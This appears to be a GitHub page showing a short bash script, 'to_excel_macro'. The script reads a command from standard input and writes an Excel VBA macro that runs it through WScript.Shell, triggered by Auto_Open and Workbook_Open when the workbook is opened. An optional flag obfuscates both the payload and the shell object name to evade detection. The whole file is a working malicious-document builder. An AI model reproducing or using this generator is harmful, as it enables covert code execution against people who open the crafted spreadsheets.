-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathto_excel_macro
More file actions
executable file
·58 lines (46 loc) · 892 Bytes
/
to_excel_macro
File metadata and controls
executable file
·58 lines (46 loc) · 892 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
shopt -s lastpipe
obfuscate=false
read -r PAYLOAD
function usage() {
echo "$(basename $0) [-x]"
exit 1
}
while getopts "hx" o; do
case "${o}" in
x)
obfuscate=true
;;
h | *)
usage
;;
esac
done
shift $((OPTIND-1))
function generate_vba_payload() {
if [ "$obfuscate" = true ]; then
PAYLOAD=$(echo -n "$PAYLOAD" | fold -w 1 | tr '\n' '_')
fi
echo "$PAYLOAD" | fold -w 70 | sed 's/.*/ Str = Str + \"&\"/'
}
function call_payload() {
if [ "$obfuscate" = true ]; then
echo ' CreateObject(Replace("W_s_c_r_i_p_t_._S_h_e_l_l", "_", "")).Run Replace(Str, "_", "")'
else
echo ' CreateObject("Wscript.Shell").Run Str'
fi
}
cat <<EOF
Sub Auto_Open()
MaCrow
End Sub
Sub Workbook_Open()
MaCrow
End Sub
Sub MaCrow()
Dim Str As String
Str = ""
$(generate_vba_payload)
$(call_payload)
End Sub
EOF